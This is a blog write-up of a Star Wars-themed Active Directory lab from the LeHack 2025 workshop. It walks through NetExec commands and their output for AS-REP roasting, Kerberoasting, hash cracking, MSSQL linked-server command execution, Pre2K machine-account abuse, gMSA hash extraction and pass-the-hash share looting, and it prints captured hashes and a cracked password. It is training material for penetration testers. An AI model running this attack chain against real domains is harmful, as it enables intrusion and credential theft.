Conquering the Galaxy: NetExec Workshop at LeHack 2025#
A Comprehensive Guide to Active Directory Exploitation with NetExec - LeHack 2025 Workshop
Table of Contents#
- Introduction
- Why NetExec?
- Lab Architecture
- Phase 1: Initial Reconnaissance
- Phase 2: Credential Harvesting
- Phase 3: Privilege Escalation
- Phase 4: Lateral Movement
- Phase 5: Cross-Domain Exploitation
- Resources and References
- Conclusion
Introduction#
📌 Note: The complete writeup of this workshop is available on @LeandreOnizuka’s website at blog.anh4ckin.ch. He won this edition - huge GG to him! 🏆
On Saturday, June 28th, 2025, I had the privilege of participating in an exceptional Active Directory penetration testing workshop at LeHack 2025, expertly organized by @mpgn_x64, @zblurx, and wil. This workshop immersed us in a multi-domain Active Directory environment with a captivating Star Wars theme.
Lab Context:
- Event: LeHack 2025 workshop
- Organizers: @mpgn_x64, @zblurx, and wil
- Primary Tool: NetExec
- Theme: Star Wars (Empire vs Rebellion)
- Objective: Complete compromise of two AD domains
⚠️ Important Note: This writeup covers the substantial portion completed during the workshop. Since the complete lab isn’t yet publicly released, a second part will follow upon official release.
Why NetExec?#
The Evolution from CrackMapExec#
NetExec represents the natural evolution of CrackMapExec, becoming the reference tool for Active Directory assessments. Here’s why it was chosen for this workshop:
Extended Protocol Coverage#
# NetExec natively supports:
nxc smb <target> # SMB/CIFS
nxc ldap <target> # LDAP/LDAPS
nxc mssql <target> # Microsoft SQL Server
nxc rdp <target> # Remote Desktop Protocol
nxc ssh <target> # SSH
nxc winrm <target> # Windows Remote Management
Flexible Authentication Methods#
- NTLM Hash: Pass-the-Hash attacks
- Kerberos Tickets: Pass-the-Ticket and Golden/Silver tickets
- Certificates: Certificate-based authentication
- Classic Credentials: Username/Password
Powerful Modular Architecture#
nxc <protocol> <target> -M <module>
# Examples of popular modules:
# --bloodhound : BloodHound data collection
# --asreproast : AS-REP Roasting
# --kerberoasting : Kerberoasting
# --shares : Share enumeration
NetExec Resources:
Lab Architecture#
Network Topology#
Our galactic environment consists of two distinct Active Directory domains:
┌─────────────────────────────────────────────────────────────────────┐
│ GALAXY NETWORK │
│ │
│ ┌─────────────────────┐ ┌─────────────────────┐ │
│ │ EMPIRE.LOCAL │ │ REBELS.LOCAL │ │
│ │ │ │ │ │
│ │ ┌───────────────┐ │ │ ┌───────────────┐ │ │
│ │ │ CORUSCANT │ │ │ │ JEDHA │ │ │
│ │ │ 10.0.0.5 │◄─┼──────────────┼──┤ 10.0.0.7 │ │ │
│ │ │ (DC) │ │ TRUST? │ │ (DC) │ │ │
│ │ └───────────────┘ │ │ └───────────────┘ │ │
│ │ │ │ │ │
│ │ ┌───────────────┐ │ │ ┌───────────────┐ │ │
│ │ │ MUSTAFAR │ │ │ │ DANTOOINE │ │ │
│ │ │ 10.0.0.6 │ │ │ │ 10.0.0.8 │ │ │
│ │ │ (SQL Server) │ │ │ │ (Member) │ │ │
│ │ └───────────────┘ │ │ └───────────────┘ │ │
│ └─────────────────────┘ └─────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
Empire Domain (empire.local)#
- CORUSCANT (10.0.0.5): Primary Domain Controller
- MUSTAFAR (10.0.0.6): Member server with SQL Server
Rebels Domain (rebels.local)#
- JEDHA (10.0.0.7): Primary Domain Controller
- DANTOOINE (10.0.0.8): Member server
Phase 1: Initial Reconnaissance#
1.1 User Discovery via RDP#
Our first approach was to identify users present on the network via RDP connections with screenshot capture:
elliotbelt@Netexeclab:~$ nxc rdp targets --nla-screenshot
RDP 10.0.0.5 3389 coruscant [*] Windows 10 or Windows Server 2016 Build 20348 (name:coruscant) (domain:empire.local) (nla:True)
RDP 10.0.0.7 3389 jedha [*] Windows 10 or Windows Server 2016 Build 20348 (name:jedha) (domain:rebels.local) (nla:True)
RDP 10.0.0.8 3389 DANTOOINE [*] Windows 10 or Windows Server 2016 Build 20348 (name:DANTOOINE) (domain:rebels.local) (nla:True)
RDP 10.0.0.6 3389 MUSTAFAR [*] Windows 10 or Windows Server 2016 Build 20348 (name:MUSTAFAR) (domain:empire.local) (nla:False)
RDP 10.0.0.6 3389 MUSTAFAR NLA Screenshot saved /root/.nxc/screenshots/MUSTAFAR_10.0.0.6_2025-06-29_000046.png
Why this technique works:
- Many organizations leave RDP open for administration
- Screenshots often reveal information about connected users
- Allows identifying active accounts without authentication
- Notice that MUSTAFAR has NLA disabled (nla:False), allowing screenshot capture
This reconnaissance allowed us to identify two key users from the screenshot: grievousssssss and krennic.
1.2 Anonymous LDAP Enumeration Attempt#
We then tested anonymous LDAP access to enumerate domain users:
nxc ldap targets -u '' -p '' --users
Output received:
LDAP 10.0.0.5 389 CORUSCANT [*] Windows Server 2022 Build 20348 (name:CORUSCANT) (domain:empire.local) (signing:None) (channel binding:No TLS cert)
LDAP 10.0.0.5 389 CORUSCANT [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090DA9, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
LDAP 10.0.0.7 389 JEDHA [*] Windows Server 2022 Build 20348 (name:JEDHA) (domain:rebels.local) (signing:None) (channel binding:Never)
LDAP 10.0.0.7 389 JEDHA [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090DA9, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
Failure Analysis:
- Both domains refuse anonymous LDAP connections
- However, we observe differences in configurations:
- CORUSCANT:
signing:None(LDAP signing not required) - JEDHA:
channel binding:Never(channel binding never required)
- CORUSCANT:
This information indicates potential security misconfigurations exploitable later.
Phase 2: Credential Harvesting#
2.1 AS-REP Roasting Attack#
Having no anonymous access, we attempted an AS-REP Roasting attack against the identified users:
nxc ldap targets -u users -p '' --asreproast asrep.out
AS-REP Roasting Principle#
┌─────────────────┐ ┌─────────────────┐
│ ATTACKER │ │ DOMAIN CONTROLLER│
│ │ │ (CORUSCANT) │
│ │ │ │
├─AS-REQ──────────┤──────────►│ │
│ User: grievous │ │ 1. Check if │
│ No PreAuth │ │ PreAuth req. │
│ │ │ │
│ │◄──────────├─AS-REP──────────┤
│ 2. Receive hash │ │ User: grievous │
│ Encrypted TGT│ │ Hash: $krb5... │
│ │ │ │
├─Hashcat─────────┤ │ │
│ Crack offline │ │ │
└─────────────────┘ └─────────────────┘
Result Obtained:
LDAP 10.0.0.5 389 CORUSCANT [*] Windows Server 2022 Build 20348 (name:CORUSCANT) (domain:empire.local) (signing:None) (channel binding:No TLS cert)
LDAP 10.0.0.5 389 CORUSCANT $krb5asrep$23$grievousssssss@EMPIRE.LOCAL:2f64456f739c11c5024c12c6023e3a27$d61c0c60fc76200164e4a8626158955318dd003bab2977026333ba260cfae5823ef9485ed43c7a121e41a2317dc26f2c2b0a2c6713c4d8a0f5bbf228ab748de412e54df4ac5058c2f3d6ec176739de545f7c7a84b4dc18cd7fb1bcbffedfb4c45c5c92b21fd39bb6d80c10617a18215d93606c306901266c5f0870c7c4eb728c0a4dccf3bc483c16825ae3fd557e3371ebda00319c7587e827a8fccf13851dc343d2fa78030100c67bafe715e9c0bcfd0c5eb41370176d6b1746fd51cb7e7aa3c02c42fa53a36c86cea44e72ae68ce01a5b0b2d9d3319993b76c240bbdbaab6c089f9f81ac8d9f60f7c304b1
Why This Attack Works#
AS-REP Roasting exploits a specific AD misconfiguration:
- Vulnerable Configuration: The
grievousssssssaccount has the “Do not require Kerberos preauthentication” option enabled - Exploitation Mechanism: Without pre-authentication, anyone can request an AS-REP ticket for this user
- Cryptography: The KDC returns a ticket encrypted with the user’s password hash
- Offline Attack: The hash can be cracked offline without detection risk
AS-REP Roasting Resources:
2.2 Hash Cracking Attempt#
We attempted to crack the obtained hash with Hashcat:
hashcat -m 18200 asrep /usr/share/wordlists/rockyou.txt --force
Hashcat Parameters:
-m 18200: Kerberos 5 AS-REP etype 23 modeasrep: File containing the hashrockyou.txt: Standard wordlist--force: Force execution despite warnings
Cracking Failure: Unfortunately, the hash couldn’t be cracked with the rockyou wordlist within the workshop timeframe. However, this didn’t stop our progress.
2.3 Leveraging AS-REP Roastable Account#
Key Insight: Even without cracking the AS-REP hash, knowing that grievousssssss is AS-REP roastable means the account has “Do not require Kerberos preauthentication” enabled. This configuration can be leveraged for Kerberoasting attacks even without knowing the account’s password.
Phase 3: Privilege Escalation#
3.1 Kerberoasting via AS-REP Roasting#
Since we identified that grievousssssss has pre-authentication disabled, we leveraged a sophisticated technique called “Kerberoasting via AS-REP Roasting”:
nxc ldap targets -u grievousssssss -p '' --no-preauth-targets users --kerberoasting output.txt
Why this advanced technique works:
This command combines two powerful attack methods:
--no-preauth-targets users: Uses the AS-REP roastable account (grievousssssss) to target users for Kerberoasting--kerberoasting output.txt: Requests TGS tickets for accounts with SPNs and saves them for offline cracking
Technical Process:
- AS-REP Authentication: NetExec uses the grievousssssss account (no pre-auth required) to authenticate
- SPN Enumeration: Searches for user accounts with Service Principal Names (SPNs)
- TGS Request: Requests service tickets for discovered SPNs using the authenticated session
- Hash Extraction: Extracts and saves the TGS hashes for offline cracking
Why this is more effective than standard Kerberoasting:
- No need to crack the AS-REP hash first
- Direct access to Kerberoasting using the pre-auth bypass
- Single command achieves both authentication and ticket extraction
Kerberoasting Principle#
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ ATTACKER │ │ DOMAIN CONTROLLER│ │ SERVICE ACCOUNT │
│ │ │ (CORUSCANT) │ │ (krennic) │
│ │ │ │ │ │
├─TGS-REQ─────────┤────►│ │ │ │
│SPN: krennic │ │ 1. Verify SPN │ │ │
│User: grievous │ │ 2. Generate TGS │ │ │
│ │ │ 3. Encrypt with │ │ │
│ │◄────├─TGS-REP─────────│ │ │
│TGS encrypted │ │ │ │ │
│with SPN password│ │ │ │ │
│ │ │ │ │ │
├─Hashcat─────────┤ │ │ │ │
│Crack offline │ │ │ │ │
└─────────────────┘ └─────────────────┘ └─────────────────┘
Kerberoasting Hash Obtained:
$krb5tgs$23*krennic$EMPIRE.LOCAL$krennic*$4748b8d3ef1413465ca93e156041b9f1$...
Why Kerberoasting Works#
- Service Principal Names (SPNs): Service accounts have SPNs registered in AD
- Legitimate Request: Any authenticated user can request a service ticket (TGS)
- Weak Encryption: The TGS is encrypted with the service account’s password hash
- Offline Attack: The ticket can be cracked without domain interaction
Successful Cracking: The krennic hash was successfully cracked to: liu8Sith
Kerberoasting Resources:
3.2 Complete Domain Enumeration#
With krennic credentials, we proceeded to exhaustive enumeration:
nxc ldap 10.0.0.5 -u krennic -p 'liu8Sith' --users
Significant Results:
- 123 users in the empire.local domain
- Administrative accounts: localadmin, palpatine, tarkin
- Service accounts: krbtgt, krennic
- Bulk accounts: fn2100-fn2236 (possible test/service accounts)
- High-value targets: vader, thrawn, sidious
3.3 BloodHound Data Collection#
To map complex AD relationships, we collected data for BloodHound (but we did not use this data for later exploitation):
nxc ldap 10.0.0.5 -u krennic -p 'liu8Sith' --bloodhound --collection All --dns-server 10.0.0.5
Data Collected:
- Trust relationships between domains
- Group memberships (including nested)
- Local administration rights
- Active user sessions
- Potential attack paths
BloodHound Resources:
Phase 4: Lateral Movement#
4.1 RDP Access Testing#
We tested RDP access with krennic credentials:
nxc rdp targets -u krennic -p 'liu8Sith'
Results:
RDP 10.0.0.5 3389 coruscant [+] empire.local\krennic:liu8Sith
RDP 10.0.0.6 3389 MUSTAFAR [+] empire.local\krennic:liu8Sith
But we could not RDP :/
4.2 SQL Server Exploitation#
Discovering a SQL server on MUSTAFAR opened new opportunities:
nxc mssql 10.0.0.6 -u krennic -p 'liu8Sith' -M enum_logins
SQL Logins Discovered:
ENUM_LOGINS 10.0.0.6 1433 MUSTAFAR Login Name Type Status
ENUM_LOGINS 10.0.0.6 1433 MUSTAFAR ---------- ---- ------
ENUM_LOGINS 10.0.0.6 1433 MUSTAFAR EMPIRE\krennic Domain User ENABLED
ENUM_LOGINS 10.0.0.6 1433 MUSTAFAR droideka SQL User ENABLED
ENUM_LOGINS 10.0.0.6 1433 MUSTAFAR sa SQL User DISABLED
Default Credentials Testing#
Why we test default credentials: SQL servers often have local accounts created with weak or default passwords, especially in lab environments or quick deployments. The username “droideka” suggested it might be a custom account that could follow poor password practices.
Our default credentials test proved successful:
nxc mssql targets -u droideka -p 'droideka' --local-auth
MSSQL 10.0.0.6 1433 MUSTAFAR [+] MUSTAFAR\droideka:droideka
4.3 Linked Server Attack#
The most critical discovery was the exploitation of SQL linked servers:
nxc mssql 10.0.0.6 -u droideka -p 'droideka' --local-auth -M link_xpcmd -o LINKED_SERVER='DANTOOINE\SQLEXPRESS' CMD='whoami'
Linked Server Principle#
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ ATTACKER │ │ MUSTAFAR │ │ DANTOOINE │
│ │ │ (SQL Server) │ │ (Linked Server) │
│ │ │ │ │ │
├─NetExec─────────┤────►│ │ │ │
│Command: whoami │ │ 1. Receive cmd │ │ │
│User: droideka │ │ 2. Use │────►│ 3. Execute as │
│ │ │ Linked Server│ │ SYSTEM │
│ │◄────├─Result──────────┤◄────├─nt service\ │
│nt service\mssql │ │ │ │ mssql$sqlexpr │
│$sqlexpress │ │ │ │ │
└─────────────────┘ └─────────────────┘ └─────────────────┘
Executed Commands:
# Identification
nxc mssql 10.0.0.6 -u droideka -p 'droideka' --local-auth -M link_xpcmd -o LINKED_SERVER='DANTOOINE\SQLEXPRESS' CMD='whoami'
# Result: nt service\mssql$sqlexpress
# User enumeration
nxc mssql 10.0.0.6 -u droideka -p 'droideka' --local-auth -M link_xpcmd -o LINKED_SERVER='DANTOOINE\SQLEXPRESS' CMD='dir C:\Users'
# Local administrators enumeration
nxc mssql 10.0.0.6 -u droideka -p 'droideka' --local-auth -M link_xpcmd -o LINKED_SERVER='DANTOOINE\SQLEXPRESS' CMD='net localgroup administrators'
Critical Discoveries#
# Local administrators on DANTOOINE
Alias name administrators
Members
-------------------------------------------------------------------------------
localadmin
REBELS\poe ← Cross-domain user!
4.4 Intelligence Gathering#
File exploration via the linked server revealed sensitive information:
nxc mssql 10.0.0.6 -u droideka -p 'droideka' --local-auth -M link_xpcmd -o LINKED_SERVER='DANTOOINE\SQLEXPRESS' CMD='dir C:\rebels_plan'
Directory of C:\rebels_plan
06/24/2025 07:59 PM 86 plans.txt
nxc mssql 10.0.0.6 -u droideka -p 'droideka' --local-auth -M link_xpcmd -o LINKED_SERVER='DANTOOINE\SQLEXPRESS' CMD='type C:\rebels_plan\plans.txt'
File content:
Our next base is located in a place called "endor", this is a top secret information !
This intelligence provides us with the keyword “endor” which will be crucial for the next phase.
Linked Server Resources:
Phase 5: Cross-Domain Exploitation#
5.1 Pre2K Computer Account Authentication#
Using the collected intelligence from the rebels_plan file, we identified that “endor” was mentioned as a secret location. This gave us a hint to test if “endor” was a Pre2K computer account.
nxc smb targets -u endor$ -p endor -k --generate-tgt ticket
Pre2K Computer Account Vulnerability#
What is a Pre2K Computer Account?
Pre-Windows 2000 computer accounts are legacy accounts created for backward compatibility. These accounts have a critical security weakness:
- Password = Computer Name: The password is set to the computer name (lowercase, without the $ suffix)
- No Auto-Rotation: Unlike modern computer accounts, these passwords don’t rotate automatically
- Kerberos Compatible: They can authenticate via Kerberos without password changes
Recent Research by mpgn: As highlighted in mpgn’s tweet from June 25th, 2025:
“you don’t need to change the password of a pre2k computer account, just use kerberos ex:
nxc smb ip -u server$ -p server -k”
Why the -k Flag is Crucial#
The -k (Kerberos) flag enables several key advantages:
- Direct Kerberos Authentication: Bypasses NTLM authentication challenges
- No Password Modification: Avoids triggering security events from password changes
- TGT Generation: Creates reusable Ticket Granting Tickets for other tools
- Stealth Operations: Kerberos authentication is less suspicious than repeated NTLM attempts
Attack Flow#
┌─────────────────┐ ┌─────────────────┐
│ ATTACKER │ │ DOMAIN CONTROLLER│
│ │ │ (JEDHA) │
│ │ │ │
├─Kerberos────────┤──────────►│ │
│User: endor$ │ │ 1. Verify Pre2K │
│Pass: endor │ │ computer acc. │
│Flag: -k │ │ 2. Generate TGT │
│ │◄──────────├─TGT─────────────┤
│TGT for rebels │ │ 3. Success! │
│.local domain │ │ │
└─────────────────┘ └─────────────────┘
Result:
SMB 10.0.0.8 445 DANTOOINE [+] rebels.local\endor$:endor
SMB 10.0.0.7 445 jedha [+] rebels.local\endor$:endor
SMB 10.0.0.8 445 DANTOOINE [+] TGT saved to: ticket.ccache
Why This Attack Succeeds#
- Pre2K Legacy: The
endor$account was created as a Pre-Windows 2000 computer account - Predictable Password: Password follows the pattern: computer name (endor) in lowercase
- No Rotation: Password hasn’t changed since account creation
- Kerberos Compatibility: The
-kflag leverages Kerberos authentication without password modification
5.2 Cross-Domain Enumeration#
With access to the rebels.local domain, we enumerated users:
nxc smb 10.0.0.7 -u endor$ -p endor --use-kcache --users
Rebel Users Discovered:
- luke, leia, han, obiwan (main characters)
- poe, finn, rey (sequel trilogy)
- jyn, cassian, bodhi (Rogue One)
5.3 gMSA (Group Managed Service Account) Exploitation#
The most sophisticated discovery was gMSA password extraction:
nxc ldap 10.0.0.7 -u endor$ -p endor -k --gmsa
Result:
LDAP 10.0.0.7 389 JEDHA [*] Getting GMSA Passwords
LDAP 10.0.0.7 389 JEDHA Account: gMSA-scarif$ NTLM: 889c32ef466ff6b367cf8adf7fce539b PrincipalsAllowedToReadPassword: ENDOR$
What are Group Managed Service Accounts (gMSA)?#
gMSAs are a critical Windows Server feature designed to provide automatic password management for service accounts:
Key Characteristics:
- Automatic Password Management: Passwords are 240 characters long, complex, and automatically rotated every 30 days
- No Human Intervention: No manual password changes or service restarts required
- Cryptographically Strong: Uses the Key Distribution Service (KDS) root key
- Domain-Wide Availability: Password can be retrieved by authorized principals across the domain
Why gMSA-scarif$ is Critical:
The name “scarif” references the Imperial security complex from Rogue One - suggesting this gMSA has high-privilege access to sensitive systems or data. This is confirmed by our ability to access the Destroyer_Access share, indicating the account has elevated permissions.
gMSA Exploitation Flow#
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ ATTACKER │ │ DOMAIN CONTROLLER│ │ gMSA ACCOUNT │
│ (endor$) │ │ (JEDHA) │ │ (gMSA-scarif$) │
│ │ │ │ │ │
├─LDAP Query──────┤────►│ │ │ │
│Request gMSA pwd │ │ 1. Check if │ │ │
│User: endor$ │ │ endor$ is in │ │ │
│ │ │ 'PrincipalsAl-│ │ │
│ │ │ lowedToRead' │ │ │
│ │ │ 2. Query KDS │ │ │
│ │◄────├─NTLM Hash───────┤ │ 3. Derive from │
│889c32ef466... │ │ 3. Return │ │ KDS root key │
│ │ │ current hash │ │ │
└─────────────────┘ └─────────────────┘ └─────────────────┘
Why This gMSA Extraction Succeeds#
- Authorized Principal: ENDOR$ is explicitly configured in the
PrincipalsAllowedToReadPasswordattribute - KDS Access: The Domain Controller can derive the current password using the KDS root key
- Legitimate Operation: This is how the Windows service would retrieve the password for authentication
- Pass-the-Hash Ready: The retrieved NTLM hash can be used immediately for authentication
Security Implications#
Finding this gMSA reveals several critical insights:
- High-Value Service: The “scarif” naming suggests access to classified/sensitive systems
- Misconfigured Permissions: ENDOR$ (a potentially compromised pre2K account) can read gMSA passwords
- Privilege Escalation Path: gMSA accounts often have elevated permissions for service operations
- Persistence Opportunity: gMSA passwords rotate, but we can re-extract them as long as we maintain ENDOR$ access
gMSA Resources:
- Microsoft Docs - Group Managed Service Accounts
- SpecterOps - gMSA Attacks
- Attacking gMSA Passwords - Semperis
5.4 Access to Sensitive Resources#
The gMSA hash gave us access to critical shares:
nxc smb 10.0.0.8 -u gMSA-scarif$ -H 889c32ef466ff6b367cf8adf7fce539b --shares
Shares Discovered:
SMB 10.0.0.8 445 DANTOOINE Share Permissions Remark
SMB 10.0.0.8 445 DANTOOINE Destroyer_Access READ
Data Exfiltration#
nxc smb 10.0.0.8 -u gMSA-scarif$ -H 889c32ef466ff6b367cf8adf7fce539b -M spider_plus -o DOWNLOAD_FLAG=True
Critical Files Discovered:
- info.txt: “Access key for the ship ! Also, stop taking note, it can be unsafe, you never know …”
- poe.pfx: Certificate file for user poe
What is a PFX Certificate?#
A PFX (Personal Information Exchange) file is a binary format for storing cryptographic objects including:
- Private key and corresponding public key certificate
- Certificate chain (if applicable)
- Password protection (typically)
In Active Directory environments, PFX certificates can be used for:
- Client authentication to domain services
- Smart card logon
- Code signing
- SSL/TLS authentication
The discovery of poe.pfx suggests this certificate could be used to authenticate as the poe user, potentially providing another avenue for privilege escalation within the rebels.local domain.
Resources and References#
Technical Documentation#
Conclusion#
This NetExec workshop at LeHack 2025 demonstrated the power and versatility of this tool for Active Directory assessments. Through a captivating Star Wars-themed environment, we explored advanced attack techniques and their real-world implications.
Techniques Mastered#
- ✅ AS-REP Roasting: Exploiting accounts without Kerberos pre-authentication
- ✅ Kerberoasting: Service ticket extraction and cracking
- ✅ SQL Linked Server Attacks: Lateral movement via SQL configurations
- ✅ Machine Account Exploitation: Abusing misconfigured machine accounts
- ✅ gMSA Password Extraction: Retrieving managed service account passwords
Future Work#
Unfortunatly, I was only able to reach the discovery of the poe.pfx certificate before needing to head back home.
What we accomplished:
- Complete compromise of the empire.local domain
- Initial foothold in rebels.local domain
- Discovery of cross-domain trust relationships
- Identification of certificate-based authentication opportunities
What’s next: I’m eagerly awaiting the public release of the complete lab to continue this exploitation chain. The discovery of the poe.pfx certificate suggests we’re on the verge of:
- Certificate-based authentication as the poe user
- Potential privilege escalation within rebels.local
- Complete cross-domain compromise
- Advanced persistence techniques
Key Takeaways#
- Cascading Misconfigurations: A single weak configuration can lead to complete domain compromise
- Cross-Protocol Excellence: NetExec’s multi-protocol support makes it invaluable for complex environments
- Intelligence-Driven Attacks: Systematic enumeration reveals unexpected attack paths
- Time Management: Even 4 hours can yield significant progress with the right tools and methodology
Acknowledgments#
A huge thank you to @mpgn_x64, @zblurx, and wil for organizing this exceptional workshop and to the LeHack community for this learning opportunity. The Star Wars theme made learning AD attack techniques particularly memorable and engaging.
GG to @anh4ckin3 for completing the full lab! 🎉 For the complete advanced exploitation chain and the rest of this writeup, check out his excellent blog post: NetExec Workshop Active Directory Lab Writeup
The discovery of the poe.pfx certificate has left me with a perfect cliffhanger - I will finish this writeup when I have the opportunity to get the lab locally and complete the full exploitation chain.
</rewritten_file>
